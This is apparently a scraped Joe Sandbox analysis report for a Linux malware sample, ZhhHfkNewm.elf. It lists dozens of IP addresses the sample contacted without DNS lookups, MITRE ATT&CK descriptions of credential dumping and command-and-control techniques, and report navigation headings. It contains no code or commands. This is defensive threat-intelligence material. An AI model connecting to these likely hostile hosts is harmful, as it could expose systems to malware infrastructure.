Source: unknown	TCP traffic detected without corresponding DNS query: 212.182.187.4
Source: unknown	TCP traffic detected without corresponding DNS query: 176.237.230.212
Source: unknown	TCP traffic detected without corresponding DNS query: 109.231.126.39
Source: unknown	TCP traffic detected without corresponding DNS query: 169.252.152.123
Source: unknown	TCP traffic detected without corresponding DNS query: 119.153.237.2
Source: unknown	TCP traffic detected without corresponding DNS query: 105.47.250.124
Source: unknown	TCP traffic detected without corresponding DNS query: 18.46.148.92
Source: unknown	TCP traffic detected without corresponding DNS query: 79.114.65.159
Source: unknown	TCP traffic detected without corresponding DNS query: 182.33.46.247
Source: unknown	TCP traffic detected without corresponding DNS query: 219.201.21.169
Source: unknown	TCP traffic detected without corresponding DNS query: 187.136.119.41
Source: unknown	TCP traffic detected without corresponding DNS query: 90.139.109.131
Source: unknown	TCP traffic detected without corresponding DNS query: 97.146.139.242
Source: unknown	TCP traffic detected without corresponding DNS query: 164.151.74.166
Source: unknown	TCP traffic detected without corresponding DNS query: 136.241.99.229
Source: unknown	TCP traffic detected without corresponding DNS query: 125.221.60.23
Source: unknown	TCP traffic detected without corresponding DNS query: 99.168.204.13
Source: unknown	TCP traffic detected without corresponding DNS query: 8.177.244.213
Source: unknown	TCP traffic detected without corresponding DNS query: 142.245.183.133
Source: unknown	TCP traffic detected without corresponding DNS query: 53.78.13.6
Source: unknown	TCP traffic detected without corresponding DNS query: 9.172.129.73
Source: unknown	TCP traffic detected without corresponding DNS query: 5.13.229.40
Source: unknown	TCP traffic detected without corresponding DNS query: 4.63.234.116
Source: unknown	TCP traffic detected without corresponding DNS query: 31.74.172.80
Source: unknown	TCP traffic detected without corresponding DNS query: 204.185.192.157
Source: unknown	TCP traffic detected without corresponding DNS query: 204.78.94.70
Source: unknown	TCP traffic detected without corresponding DNS query: 75.184.54.227
Source: unknown	TCP traffic detected without corresponding DNS query: 62.142.56.6
Source: unknown	TCP traffic detected without corresponding DNS query: 72.80.95.36
Source: unknown	TCP traffic detected without corresponding DNS query: 51.219.97.40
Source: unknown	TCP traffic detected without corresponding DNS query: 212.230.117.179
Source: unknown	TCP traffic detected without corresponding DNS query: 64.53.14.124
Source: unknown	TCP traffic detected without corresponding DNS query: 68.119.168.46
Source: unknown	TCP traffic detected without corresponding DNS query: 186.2.74.106

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report ZhhHfkNewm.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.y3VYtj (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

System Behavior

Analysis Process: ZhhHfkNewm.elf PID: 6206, Parent PID: 6124

General

Chronological Activities

Analysis Process: ZhhHfkNewm.elf PID: 6208, Parent PID: 6206

General

Chronological Activities

Analysis Process: ZhhHfkNewm.elf PID: 6210, Parent PID: 6208

General

Chronological Activities

Analysis Process: ZhhHfkNewm.elf PID: 6211, Parent PID: 6208

General

Analysis Process: ZhhHfkNewm.elf PID: 6214, Parent PID: 6208

General

Analysis Process: ZhhHfkNewm.elf PID: 6217, Parent PID: 6208

General

Chronological Activities

Linux Analysis Report
ZhhHfkNewm.elf